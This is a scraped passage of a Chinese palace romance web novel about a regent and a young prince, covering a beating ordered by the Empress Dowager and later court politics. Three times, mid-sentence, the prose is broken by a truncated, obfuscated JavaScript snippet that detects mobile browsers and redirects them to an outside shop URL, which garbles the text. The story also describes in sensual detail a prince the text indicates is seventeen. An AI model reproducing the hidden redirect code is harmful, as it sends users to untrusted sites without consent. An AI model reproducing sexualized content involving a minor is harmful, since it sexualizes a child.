燕元明猛地睁开了眼。 月光下,云棠闭着眼,睫毛轻颤,似乎睡得很沉。 可那微微翘起的唇角,和眼皮下轻微滚动的眼珠,说明他并未睡着。 燕元明眸色一深,翻身虚压-在云棠身上,双手撑在他头侧,将他困在身下。 云棠“惊醒”过来,睁大眼看着他,眼神清澈无辜,像是不明白发生了什么。 “王爷?”他小声唤道。 燕元明盯着他看了很久。 月光在那张精致的脸上流淌,勾勒出柔和的轮廓。 那双眼睛干净纯粹,像山间未经污染的泉水,倒映着他的影子。 他心头那股邪火,竟被这眼神浇灭了大半。 “闭眼。”他哑声说。 云棠很听话,立刻紧紧闭上了眼,睫毛紧张地颤动着。 燕元明俯下身,吻住了他的唇。 这个吻比浴池里那个更加深-入,更加缠绵。 他含-住云棠柔软的唇-瓣,轻轻吮吸。 舌尖撬开齿关,长驱直入,在里面肆意扫荡,勾缠着他的舌,汲取他口中的甜蜜。 云棠乖乖承受着,手臂环上他的脖颈,手指插-入他发间。 吻逐渐下移。 从唇边到下颌,再至颈侧。 温热的触感,辗转流连于细腻肌肤,留下若隐若现的水痕。 当那触碰掠过喉间时,云棠浑身轻颤,脖颈微仰,一声低吟逸出唇畔。 “……王爷。” 燕元明呼吸微顿,动作略停。 他抬眸看向身下之人。 怀中人眼睫低垂,湿润地贴伏着,颊边绯色漫开,唇上亦染着润泽。 那瓷白颈侧,浅浅印着几处微红。 此般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261345|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情状,令人…… 他闭目凝神片刻,复又低头。 温热气息徐徐拂过心口,在肌肤上流连徘徊。 云棠呼吸轻促,指尖无意识蜷入他的发间。 “啊……别……” 空气灼热,呼吸交缠。 燕元明眸色深暗,一只手撑在云棠枕侧。 另一只手,掌心贴合着他腰际的曲线。 隔着一层衣料,感受到那份温热与细微颤-栗。 情动至深时,他低下头,唇贴着云棠的耳廓,声音沙哑,又柔缓: “卿卿……” 一声呼唤,让云棠脊椎窜过一阵莫名的战栗。 燕元明凝视着他紧闭的眼睫与染上绯-红的脸颊。 停了下来,继续用那种低哑,诱哄的语调,缓缓道: “别怕……靠近我……” 云棠身体一僵。 所有旖旎的气氛陡然凝固。 他猛地睁开眼,眼中闪过惊恐和慌乱,本能地并拢双腿,用手臂护住自己,声音颤-抖: “不要……” 燕元明动作顿住了。 他看着云棠眼中的恐惧,心头那点火瞬间被浇灭,取而代之的是懊恼和自责。 他太着急了。 云棠还病着,身子还弱,他怎么就…… “是我不好。”他立刻退开些距离,将云棠搂进怀里,轻轻拍着他的背。 “吓着你了?是我不好,睡吧,不碰你了。” 云棠靠在他怀里,身体还在微微发-抖。 他咬着唇,心里乱成一团。 他不是抗拒燕元明,他是害怕……害怕那个秘密被发现。 如果王爷知道了,会不会觉得他是怪物?会不会厌恶他?会不会……不要他了? 这个念头让他浑身发冷。 可是……看着燕元明的样子,他又心疼。 王爷对他这么好,守着他,护着他,他却因为自己的秘密而抗拒他。 云棠心里天人交战。 终于,他咬了咬牙,抬起头,看着燕元明。 月光下,那张脸俊美,眉宇间带着一丝疲惫和懊恼。 云棠心头一软,伸手轻轻抚上他的脸颊。 “王爷……”他声音很小,带着试探,“我……我可以帮你。” 燕元明身体一震。 他低头看着云棠。 怀里的人脸颊绯-红,眼神湿-漉-漉的,羞涩不安, 他想用这种方式补偿他。 燕元明低头,温柔地吻住了他的唇,没有欲-望,只有怜惜。 良久,他才退开,额头抵着云棠的额头,声音沙哑: “别招我。” 他顿了顿,补充道:“再招我,我就真的控制不住了。” 云棠听出了他话里的克制和珍惜,眼眶一热。 他点点头,乖乖趴回燕元明怀里,不再说话。 燕元明紧紧抱着他,深吸几口气,强迫自己平复下来。 月光静静流淌,这一-夜,再没有其他。 云棠在燕元明怀里,听着他沉稳的心跳,渐渐沉入梦乡。 王爷……对他真好。 接下来的两日,云棠在燕元明的精心照料下,气色一天天好起来。 高热退了,咳嗽也减轻了许多,只是身子还有些虚,需要慢慢调理。 燕元明几乎寸步不离地守着他,喂药,喂饭,陪他说话,陪他看书。 府里的下人都看得明白。 王爷对这位七殿下,那是真真上了心。 没人敢再议论什么,所有人都小心翼翼,生怕惹了王爷不悦。 第三日晚膳时,燕元明忽然开口: “明日我需出城巡视京营,两三日便回。” 云棠筷子一顿。 他抬起头,看向燕元明。 对方神色如常,正在给他夹菜。 “王爷要……离京?”云棠小声问。 “嗯。”燕元明将菜放进他碗里,“京营那边有些事务需要处理,我去看看就回来。” 云棠低下头,看着碗里的菜,忽然没了胃口。 王爷要走。 虽然只是两三日,可这是他住进王府后,第一次和王爷分开。 他抿了抿唇,心里涌起强烈的不舍。 “怎么了?”燕元明注意到他的沉默。 云棠摇摇头。 燕元明伸手轻轻擦了擦他嘴角,动作自然亲昵,声音温和: “乖乖吃药,好好休息,等我回来。” 云棠点头,耳尖微红。 晚膳后,燕元明又陪着云棠说了会儿话,看他喝了药,才离开主院去书房。 云棠独自躺在床上,怎么也睡不着。 他翻了个身,看着窗外的月光。 王爷明天就要走了。 只是短短两三日,可他还是舍不得。 他好像……越来越贪心了。 最初只是想要一点点温暖,可现在,他想要这个人的全部。 想要他的目光永远只落在自己身上,想要他的怀抱永远为自己敞开。 想要他的温柔和宠溺,只属于自己。 这个念头太奢侈,太危险。 可云棠控制不住。 就像飞蛾扑火,明知会焚身,却还是义无反顾。 窗外传来更鼓声,已是亥时。 云棠翻了个身,闭上眼。 11. 第 11 章 一-大早,燕元明已整装待发。 他站在石阶上,一身玄色骑装,身姿挺拔如松,腰间玉带上悬挂一枚云纹玉佩。 那是临别前云棠系上去。 “本王离京这几日,你好生待在府里休养。” 燕元明转身看向身侧的人,声音低沉温和。 “药要按时喝,若嫌苦,就让厨房多备些蜜饯。” “前日江南送来的那批新茶,你若是喜欢,便让人都送过来。” 楚云棠垂着眼睫,一身月白素袍轻轻摆动,像朵随时会飘走的云。 他乖顺地点头:“王爷放心,我都记着了。” “记着便好。”燕元明伸手,拂过他额前碎发 他昨夜似乎睡得不安稳,眼下有淡淡的青影,整个人单薄得像张纸。 燕元明替他拢了拢衣襟:“天凉,别总站在风口。” 一旁的侍卫们眼观鼻鼻观心,装作看不见王爷这般体贴入微的模样。 待马蹄声渐远,楚云棠才缓缓抬起头。 王府大门外,燕元明策马远去的背影渐渐模糊,消失在长街尽头。 他站了许久,直到老管家轻声提醒:“殿下,该用早膳了。” “嗯。” 他应了声,转身回院,步履有些沉重。 --- 一日后。 楚云棠出现在清莲苑里。 他是悄悄回来的,跟着一起的,还有王府的一位老仆。 拦不住,又不放心。 老仆苦着脸,“殿下,王爷走前千叮万嘱……” “李伯。”云棠打断他,声音轻得像叹息。 “我终究是皇子,长居王府,于礼不合,于王爷的清誉也有损。” 怕旁人指指点点,说王爷被美-色所惑。 他攥紧了袖口。 “可是殿下……”李伯还想劝。 “去收拾吧。”云棠转过身,不再看他。 话音未落,院门外响起急促的脚步声。 慈宁宫的太监来了。 --- 太后坐在殿中高座上,手里捻着一串沉香木佛珠。 殿内熏香浓得呛人,混着陈年木料的气味,凝成一种令人窒息的压迫感。 楚云棠跪在地上,背脊挺得笔直。 “抬起头来。”太后沉声道。 “在王府住了这些时日,倒是养出些颜色了,怎么,攀上高枝,眼里就没有哀家了?” 云棠缓缓抬眸,目光平静:“儿臣不敢。” 太后冷笑,佛珠在指间转得飞快,“你娘是个什么东西,也配称儿臣?” “不过是个趁着先帝酒醉爬床的贱婢,生下你这种孽种,脏了皇家血脉!” 殿内侍立的宫女太监们齐齐低头,连呼吸都放轻了。 云棠攥着拳,指节泛出青白色。 母亲的容貌他已记不清了。 只记得她总穿着洗得发白的宫装,夜里抱着他轻声哼歌,歌声温柔又悲伤。 “先帝不过是一时兴起,尝个野味罢了。”太后见他沉默,言辞愈发刻毒。 “谁曾想那贱婢肚皮争气,竟真怀上了龙种,可惜啊,命贱就是命贱。” “太后!”云棠猛地抬头,眼中燃起压抑许久的火焰,“请您……慎言。” 他声音在抖,一字一句道:“我娘再卑微,也是父皇召幸过的宫人。” “她已故去多年,您羞辱儿臣可以,但逝者……请留一分尊重。” 这是十七年来,他第一次顶撞。 太后愣住了,随即勃然变色,佛珠重重拍在案上。 “反了!竟敢顶撞哀家!看来是燕元明把你惯得不知天高地厚!”她厉声喝道,“来人!” 两名粗壮的嬷嬷应声上前,一左一右架住云棠。 “七皇子言行无状,冲撞尊长,拖出去,杖责二十!” 太后盯着他苍白的脸,眼底阴冷。 云棠被拖到殿外廊下。 他被按上凳时,膝弯撞在凳沿,疼得闷哼一声。 两名太监上前按住他的肩膀和腿,动作熟练。 嬷嬷高高举起刑杖。 第一下落下来时,云棠咬紧了牙。 那是种钝重的闷痛,像烧红的烙铁狠狠砸在皮肉上,炸开一片火辣辣的灼烧感。 他脑子里嗡的一声,眼前金星乱冒,冷汗湿透了里衣。 第二下,第三下…… 他死死抠住凳沿。 臀上的疼痛层层叠加,从皮肉渗进骨头里。 每一次呼吸都牵扯着那片伤处,疼得他浑身发颤。 数到第十五下时,视线已经模糊。 嬷嬷见他体弱,最后几下收了力道。 可即便如此,二十杖打完,云棠整个人都瘫软在凳上,连爬起来的力气都没有了。 臀上火辣辣的痛楚麻木成一片滚烫的肿-胀,绸裤紧贴着伤处,每一下摩-擦都像针扎。 他被两名小太监半搀半抬着回清莲苑时,连路都走不稳。 额发湿-漉-漉贴在颊边,嘴唇咬得渗出血丝。 --- 清莲苑内,宫人被遣散,殿内空荡荡的。 李伯被拦在宫门外,此刻只有云棠一个人。 他趴在冰冷的床榻上,连扯过被子的力气都没有。 臀上的疼痛一阵阵翻涌,混着心底翻江倒海的屈辱和委屈。 闭上眼,泪水毫无预兆地涌出来。 “王爷……”他把脸埋进陈旧发硬的枕头里,声音破碎。 窗外天色渐暗,殿内最后一点天光也熄灭了。 黑暗像潮水般涌上来,包裹住他单薄的身躯。 呼吸牵扯着那片肿-胀的皮肉,火辣辣的灼烧感从伤处蔓延。 他蜷缩起来,却牵动了伤处,疼得倒抽一口冷气。 忽然,殿门被猛地推开了,一道玄色身影携着满身寒气闯入。 “云棠?” 燕元明的声音低沉急促,压抑着怒意和慌乱。 云棠浑身一僵,本能地想要撑起身子。 可臀上的伤让他使不上力,勉强抬起半个身子,便疼得跌了回去。 烛火被点燃,昏黄的光晕在殿内铺开。 燕元明看清了榻上的情形—— 他的小皇子趴在那里,月白的绸裤紧贴着身体,勾勒出腰臀处的轮廓。 脸颊边的枕头湿了一小片,睫上还挂着未干的泪珠,整个人狼狈得像只被雨淋透的小猫。 他心脏狠狠一揪。 “他们打你了?” 燕元明几步跨到榻边,单膝跪下来,伸手去碰云棠汗湿的额发,指尖触到一片冰凉。 云棠别过脸,耳根烧得通红:“没事……只是轻罚……” 他慌慌张张想去拉被子遮掩,可手还没碰到被角,便被燕元明一把握住了手腕。 燕元明眸光一沉,松开手,转而掀开被子一角。 淡淡的血腥气散开来。 云棠身后的布料被撑得紧绷,隐约透出深色的痕迹。 燕元明视线凝落,下颌线绷得死紧。 “王爷,别看了……”云棠的声音带着哭腔,羞-耻得恨不得把自己埋进地缝里。 燕元明没说话,从怀中取出一个白玉小瓶。 上好的玉肌膏,化瘀镇痛。 拔开瓶塞,清冽的药香在空气中弥漫开来。 “我给你上药。” 云棠浑身一颤,慌乱地摇头:“不用……我自己可以……” “你自己怎么看得见?”燕元明握住他两只手腕,轻轻按在枕侧。 他俯身凑近,温热的呼吸拂过云棠耳廓,声音压得低低的,像在哄一个不听话的孩子。 “听话,你哪里我没看过?” 这话本是事实。 云棠病中昏沉时,都是他亲手照料,擦身换衣从不假他人之手。 可此刻听来,却暧昧得令人心悸。 云棠怔住了,脸颊烧得滚烫,脑子里一片空白。 趁他失神,燕元明已利落地解开他腰间系带,将绸裤轻轻褪至腿弯。 空气骤然接触皮肤,带来一阵凉意。 云棠猛地回神,羞窘得浑身绷紧,下意识并拢双腿。 这一牵动让伤处受压,他疼得低哼出声,眼眶里又蓄起泪来。 可此刻他已顾不上疼了。 那片从未示人的肌肤骤然露在微凉的空气里,也全然落入了燕元明的凝视。 他死死闭紧双眼,长睫颤-抖如风中残蝶,十指深深扣进枕缘,用力到骨节泛白。 燕元明的呼吸蓦地一沉。 昏黄烛影摇曳,将榻上那副身躯映照得宛如羊脂白玉般莹润。 他一向清减,腰肢纤细得仿佛不堪一握,脊背的线条流畅而秀逸。 偏偏在那纤细之下,却生着一道饱满得近乎秾丽的弧度。 那起伏的轮廓,在烛影中蜿蜒,如同一脉被暮色浸染的远山。 丰润的弧线仿若秋日低垂的谷穗,饱满而谦逊地弯向大地。 惩戒的痕迹自山脊缓缓漫向低谷,晕开层层叠叠的霞色。 好似天边最后一抹晚照流连不去,又像春风途经时,不经意撒落的桃瓣。 肌理细腻如江南雨季温养出的青瓷,流转着朦胧的釉色。 痕迹最深之处,恰似晨雾笼罩的山坳,隐约透出底下青霭般的影。 那山水的线条从清瘦的峰腰迤逦而下,在转折处化为一道温存的弧度。 缓缓沉入暖雾氤氲的谷地,如同月光浸入深潭时,渐淡渐远的涟漪。 燕元明的眸光凝在那片山水之间,恍若赏画人遇见一幅未曾落款的旧卷。 他的喉结无声地滑-动了一下,蘸着药膏的指尖凝在半空,竟恍神了片刻。 烛火微微摇曳,在他深邃的眸底投下明明灭灭的光影,仿佛暗潮在寂静之下悄然涌动。 这不是他第一次见到云棠的身体。 从前病中照料时,这副身躯苍白清瘦,肋骨隐现,只让他觉得心头发涩。 可此刻,许是因为那一片红肿伤痕,竟透出一种别样的触目的情状。 他喉间微微发紧,移开视线片刻才勉强定神。 “王爷……”云棠的声音轻得几不可闻,还带着方才哭过的嗡哑。 燕元明闭了闭眼,将眸中暗涌的情绪压了下去。 这才把冰凉的药膏轻轻点在伤处。 “嘶——” 云棠疼得浑身一缩,身后不自觉绷紧。 圆润的轮廓随之一颤,在晃动的烛影里漾开一片朦胧的光晕。 “忍一忍。”燕元明低声说道。 指腹放柔了力道,顺着肌理将药膏缓缓推开。 他的动作起初是规矩的,只在那片红肿处打转。 可掌心下的肌肤,细腻柔润得令人心惊。 温软而饱含生机。 仿若悉心温养的美玉,被暖意浸-透了,稍一施力便会留下淡绯的印记。 云棠先因疼痛而紧绷。 随着药膏渐融,那力道不轻不重, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261346|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化开淤滞。 尖锐的痛楚竟慢慢散去,转而浮起一阵陌生的战栗。 像是从伤处漫开一片温灼的麻意,悄悄顺着脊骨攀爬而上。 他咬住下-唇,将脸更深地埋进枕间,身子抑制不住地细细发颤。 更令他无措的是…… 一点温潮漫开,无声染透了腿间的薄衫。 云棠瞬间意识到,脸色惨白如纸,羞-耻与恐惧如潮水般将他淹没。 他死死咬住唇,几乎要咬出血来。 双腿绷得笔直,一动不敢动,生怕被身后那人察觉异样。 燕元明并未察觉。 但他闻到了一缕极淡的,似有若无的幽香。 不同于药膏的清冽。 那香味更甜,像初绽的梨花混着晨露,清清淡淡的,勾得人心头发痒。 它从云棠腿间散发出来,随着他细微的颤-抖,一丝丝飘散在空气中。 燕元明眸色陡然暗沉。 可他面上依然镇定,眉头微蹙,一副专心化瘀的模样。 只有他自己知晓,掌下是多么难以抗拒。 伤处红肿未消,肌肤滚烫,随着他推揉药膏的力道微微起伏。 每一次按压,都引来一阵压抑的…… 药膏早已匀开,在红肿的肌理上晕成一片湿润。 仿若晨露浸-透初绽的瓣尖,泛着绯-红的莹莹水色。 燕元明的手,起初只规矩地流连于伤处。 而后,注意力悄无声息地蔓延开来。 掌心下的温度与颤动,勾勒出一种无需眼见的轮廓。 自伤处的隆起,缓缓移向周边较为平缓的边缘地带。 那里未经风雨,肌理完好,洁白莹润犹如覆着新雪的初春原野,细腻得仿佛能留住月光。 他的指腹在那处短暂停留。 继而,继续向下巡弋。 幽谧溪谷即将汇入深潭,草木渐丰,温潮在阴影中暗自生发。 仅仅是擦过,整座花园都在颤栗。 一声细微的呜咽,滚落进更深的夜里。 “疼?”燕元明低声问,声音有些沙哑。 “不……不是……”云棠的声音闷在枕头里,带着哭腔。 “王爷……够了……药上好了……” 燕元明动作一顿。 他其实早就该收手了。 药膏已被吸收,淤血也在揉按下散开大半。 可他舍不得。 那片土地藏着隐秘的温热,似初春第一缕穿破冻土的气息,缠上他的腕,漫过他的臂,无声撬动着理性。 那气息太淡,又太沉,像窖藏过久的酒瓮乍破一缝,未饮已先醺。 这个念头初萌,便如星火骤燃,顷刻蔓延全身。 “还差些,”他听见自己开口,嗓音低沉得陌生,“药要揉开才行。” …… 那是山峦最高处,承受过最重的风雪。 峰顶泛着薄红,宛如桃枝初绽时最怯的那一抹。 底下沉淀着霞光,是日落前最浓烈的一瞬。 暖意渡过去,似融雪渗入深谷。 整座山的脉络都在轻颤,暗流开始在看不见的地底奔走,悄然改道。 云棠羞得几乎陷落,神思恍惚间,轻声溢出一句:“……冷。” 声音细弱,带着明显的慌乱。 燕元明深吸一口气,这才回过神来。 他收回手,拉过锦被轻轻盖住云棠,嘱咐道,“夜里若疼得厉害便叫我。” 云棠胡乱点头,脸还埋在枕头里,不敢看他。 燕元明起身去打水,拧了温热的帕子,回来细细擦拭云棠额头的冷汗和哭花的眼角。 他的动作很轻,指腹擦过云棠发红的眼尾,那里还挂着泪珠。 云棠睫毛颤了颤,不肯抬头。 “为什么偷偷回来?”燕元明问,声音听不出情绪。 云棠沉默了很久,才闷闷地说:“……怕久住王府,于王爷清誉有损。” 燕元明似乎低笑了一声,很轻,云棠以为是自己听错了。 “那些虚礼,不及你重要。” 他伸手,将云棠颊边一缕湿发别到耳后,指尖擦过他耳廓,带来一阵细微的战栗。 云棠浑身一僵,他张了张嘴,想说些什么,却发不出声音。 眼眶又热了,他慌忙闭紧眼睛,把脸更深地埋进枕头。 燕元明没再逼他。 他吹熄了烛火,只留一盏小小的油灯在案头,和衣靠在床头,一手轻搭在云棠腰侧。 “睡吧。”他说,“我在这儿。” 黑暗中,云棠的呼吸渐渐平缓。 他太累,也太疼,药膏里那点安神的成分开始起作用。 昏沉间,他无意识地往热源靠了靠,额头抵在燕元明腿侧,像只寻找庇护的小兽。 燕元明垂眸看着他的睡颜,指尖轻轻拂过他汗湿的鬓角。 窗外月色渐明,银辉透过窗纸洒进来,落在云棠裸-露的肩颈上。 燕元明的目光缓缓下移,落在锦被下那片起伏的轮廓上。 掌心仿佛还残留着触感…… 还有那缕幽香……萦绕在鼻尖,勾得人心头发痒。 燕元明闭了闭眼,再睁开时,眸色深不见底。 他的小皇子,似乎对自己的诱惑,一无所知。 这很好。 也……很折磨。 他轻轻叹了口气,将掌心覆在云棠腰侧,隔着薄薄的寝衣,感受那细微的体温。 一-夜无话。 12. 第 12 章 次日清晨,云棠醒来时,榻边已经空了。 案头那盏油灯还留着,灯芯剪得整齐,有人细心打理过。 他撑着身子想坐起来,臀上的伤处立刻传来一阵钝痛,疼得他倒抽一口冷气。 “殿下醒了?”李伯端着热水进来,脸上堆着笑。 “王爷天不亮就走了,说是有早朝,他留了话,让您这几日好生歇着,别乱动。” 云棠怔了怔:“王爷……去早朝了?” “是啊。”李伯拧了热帕子递给他,“王爷走前还特意交代,今日的早膳要炖得烂些。” 云棠接过帕子,指尖碰到温热的湿意,心里某个角落也跟着软了一下。 他慢吞吞擦着脸,忽然想起什么,耳根又烧起来:“昨夜……王爷一直在这儿?” “可不是嘛。”李伯絮絮叨叨地收拾着。 “老奴半夜不放心,想进来看看,就见王爷靠在床头,手还搭在您身上呢。” “哎哟,那姿势看着就累,可王爷愣是坐了一-夜,连动都没动一下……” 云棠攥紧了手里的帕子,心跳得有些乱。 他想起昨夜那些触碰…… 脸颊烧得厉害,他慌忙把脸埋进帕子里,闷闷地说:“知道了。” 李伯还想说什么,见他这副模样,识趣地闭了嘴,端着水盆出去了。 殿内又安静下来。 云棠趴在榻上,看着窗外透进来的天光,脑子里乱糟糟的。 臀上的伤还在隐隐作痛。 他想起那只手揉按的力道,想起指尖掠过时的战栗,想起自己身体羞-耻的反应…… “啪”的一声,他把脸埋进枕头,耳根红得要滴血。 不能再想了。 王爷只是关心他,为他疗伤。 王爷是正人君子。 是自己心思不净,身体……还有那难以启齿的秘密,才生出那些奇怪的感觉。 他一遍遍在心里重复。 --- 而此时,乾清宫早朝的气氛,已降至冰点。 燕元明站在队列最前方,一身绛紫朝服。 面上没什么表情,静静听着几位御史弹劾工部侍郎贪墨河工款项,言辞激烈,唾沫横飞。 龙椅上的皇帝楚景煜听着,手指有一下没一下地敲着扶手,目光时不时飘向燕元明。 这位摄政王今日有些不对劲。 虽然看起来和往常一样沉稳,可那双眼睛里的寒意,却比平日更甚。 终于,御史说完了。 殿内一片寂静,众臣都在等皇帝发话。 楚景煜清了清嗓子,正要开口,燕元明却忽然出列。 “陛下,”他躬身行礼,声音传遍大殿的每一个角落,“臣有本奏。” 楚景煜挑眉:“讲。” 燕元明直起身,从袖中取出一卷文书,缓缓展开。 “臣要弹劾户部郎中郑怀仁,纵容家奴强占民田,逼死佃户三人。” “此事已有苦主上告至京兆府,却被人压下。” 这人乃太后娘家侄孙。 “以及,光禄寺卿周永昌,借太后寿辰之名,虚报采买款项,中饱私囊,数额逾十万两。” “这些还只是冰山一角。”燕元明最后道,抬眼看向龙椅上的皇帝。 “陛下,北疆将士正在苦寒之地戍边卫国,朝中却有人克扣他们的粮饷,中饱私囊。” “而宫中用度奢靡,一宴之费可抵千户百姓一年口粮。” “臣恳请陛下,严惩贪腐,并裁减宫中用度,尤其……” 他顿了顿,声音更冷:“太后寿辰在即,原定仪制过于铺张。” “臣请削减三成,所省银两悉数拨往北疆,充作军饷。” 这话说完,整个乾清宫死一般寂静。 谁都听出来了,这位摄政王今日是冲着太后去的。 一出手就是杀招,刀刀见血。 楚景煜沉默了很久。 他看着手中那卷厚厚的罪证,又看向殿下那个挺拔的身影。 燕元明站在那里,面色平静。 “准奏。”楚景煜终于开口。 “涉案官员,一律收押。太后寿辰仪制……按摄政王所言,削减三成。” “陛下圣明。”燕元明躬身。 退朝的钟声响起时,众臣鱼贯而出,个个面色凝重。 燕元明恍若未觉,缓步走出大殿。 他抬头看了看天,想起昨夜榻上那人泪眼朦胧的模样。 还有那片在他掌心轻轻颤动的红肿肌肤。 眼神暗了暗。 这还不够。 伤了他的人,总要付出代价。 他缓步走下石阶,玄色披风在身后扬起凛冽的弧度。 所过之处,官员纷纷避让,低头垂目,不敢直视。 燕元明走到宫门前,侍卫低声问:“王爷,回府还是……” “去清莲苑。”他的声音里终于透出一丝温度,“他该换药了。” …… 而此时的清莲苑内,云棠正趴在榻上,看着窗外飘落的花瓣发呆。 臀上的伤还在疼,可心里那点隐秘的甜,却像化开的蜜,一丝丝渗进四肢。 他想起昨夜……脸颊又烧起来。 他把脸埋进枕头,嘴角却忍不住微微翘起。 原来被人放在心上,是这样的感觉。 暖的,甜的,让人忍不住想笑,又忍不住想哭。 窗外传来脚步声。 云棠慌忙整理好表情,把脸从枕头里抬起来,装出一副平静的模样。 可当殿门被推开,那道玄色身影逆光走进来时,他的心还是漏跳了一拍。 燕元明站在门口,目光落在他身上,看了很久。 然后,他缓缓走过来,在榻边坐下,伸手替他掖了掖被角。 “还疼吗?”他问,声音温和。 云棠摇摇头,又点点头,最后小声说:“……一点点。” 燕元明低笑一声,从怀中取出那个白玉小瓶:“该换药了。” 云棠的脸瞬间红透。 他攥紧了被子,睫毛颤得厉害。 却还是乖乖松开手,任由那人掀开锦被,将绸裤褪至腿弯。 这一次,他没有那么抗拒了。 冰凉的药膏点在伤处,他轻轻一颤。 燕元明的指尖放得更轻,缓缓揉开药膏。 他的动作比昨夜更温柔,掌心贴着那片肌肤,力道恰到好处。 既散了淤血,又不会弄疼他。 云棠咬着唇,把脸偏向一边,耳根红得快要滴血。 那只手在伤处流连,指尖掠过腿-根带来细微的战栗,身体深处又产生羞-耻的反应…… 可他不害怕。 因为这只手的主人是燕元明。 是他偷偷喜欢了这么多年,愿意把一切都交出去的人。 “王爷,”他小声开口,声音闷在枕头里,“谢谢您。” 燕元明动作一顿。 “谢谢您……护着我。”云棠的声音更小了,几乎听不见。 燕元明沉默了很久。 他收回手,拉过锦被盖好,俯身看着云棠通红的耳根,低声说:“不用谢。” “我愿意护着你。” 云棠抬起头,眼眶又红了。 燕元明伸手,指腹擦过他眼角,拭去那点湿意:“以后想做什么,告诉我,我陪你。” “……嗯。” “还有,”燕元明看着他,眼神很深。 “那些虚礼,不必在意,我燕元明想护的人,没人敢说半个不字。” 云棠怔怔看着他,眼泪终于掉下来。 这个人,真的把他放在了心上。 燕元明将他搂进怀里,轻轻拍着他的背。 云棠趴在他怀里,听着他沉稳的心跳,第一次觉得,这个冰冷的皇宫,也没那么难熬了。 因为有他在。 就够了。 --- 年关将近,宫中已开始为新年做准备。 各处宫道张灯结彩,往来宫人步履匆匆,忙忙碌碌。 楚云棠沿着宫墙缓步往回走。 他今日去慈宁宫请安,照旧只在殿外磕了头。 规矩还是要守的。 若叫人说他恃宠而骄,又会给王爷添麻烦。 太后身边的嬷嬷出来传话: “太后娘娘说了,天寒地冻的,七殿下身子弱,好生将养着便是,不必日日来请安。” 话说得客气,意思却明白,不想见他。 缩减开支一事,太后对云棠更加厌恶。 云棠早已习惯,谢恩后安静退下。 杖责的伤虽好了七八分,但走了这段路,腰臀处有些隐隐作痛。 他放慢脚步,身上那件素青色衣袍在寒风中略显单薄,衬得那张脸愈发苍白清瘦。 穿过御花园东侧甬道时,远处传来爽朗的笑声和脚步声。 云棠下意识往路边避了避,垂首而立。 来人是两个。 前面引路的是个面生的太监,后面跟着个高大魁梧的年轻男子。 那男子约莫二十出头,深麦的肤色,眉眼粗犷,鼻梁高挺,嘴唇厚实。 穿着赭石色织锦武服,外罩玄狐大氅。 腰间佩着一柄镶红宝石的弯刀,走起路来步伐沉稳有力,带着武将特有的悍勇之气。 正是随父入京述职的镇北将军独子,赵珩。 赵珩正与引路太监说着北疆趣闻,声音洪亮,带着毫不掩饰的得意。 忽然,他余光瞥见了路边那个静静立着的身影。 素青的棉袍裹着单薄的身形,低垂的头颈露出一截雪白的后颈。 寒风吹过,几缕乌发从兜帽边缘滑出,拂过颊边,美得不像真人。 下颌尖俏,鼻梁秀挺,睫毛又长又密,在眼下投出浅淡的阴影。 赵珩的脚步顿住。 他活了二十二年,见过草原女子的泼辣豪爽,也见过京城世家贵女的矜持娇贵。 却从未见过这样的。 像一捧落在枯枝上的初雪,干净脆弱,仿佛阳光一照便会化掉。 又像一尊被供奉在深殿里的白玉观音,美得不沾烟火气。 却偏偏生在这凡尘里,惹人想要亵渎。 “那是谁?”他压低声音问引路的太监,目光仍牢牢锁在那个身影上。 太监顺着他的目光看去,脸上闪过一丝复杂神色,躬身道: “回赵公子,那是七皇子,楚云棠殿下。” “皇子?”赵珩挑眉,眼中兴趣更浓,舌尖轻轻顶了顶上颚,“楚云棠……” 他念着这个名字,仿佛在品尝某种清甜的糕点。 那身影已经继续往前走,消失在甬道拐角,可方才惊鸿一瞥的画面。 素青的衣,乌黑的发,雪白的颈。 还有那低眉垂眼,仿佛一碰就会碎掉的脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261347|198040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱模样,深深刻在了他脑海里。 真他娘带劲。 赵珩舔了舔有些干涩的嘴唇,眼底闪过毫不掩饰的贪-婪。 边关那些女人要么壮实得像马,要么干瘦得像柴,哪有这般韵味? 瘦的地方纤纤一握,光看那腰肢,就知道搂在怀里该有多销-魂。 引路太监见他神色,心里咯噔一下,忙躬身道:“赵公子,这边请,将军还在等您呢。” 赵珩这才收回目光,跟着太监继续往前走,心思却已经飘远了。 一个时辰后,三皇子楚云凌的寝宫内。 赵珩大马金刀地坐在紫檀木太师椅上,手里把-玩着一只和田玉酒杯。 楚云凌坐在他对面,脸上挂着三分阴鸷七分算计的笑意。 “赵公子今日怎么有空来我这儿?”楚云凌慢悠悠地斟茶。 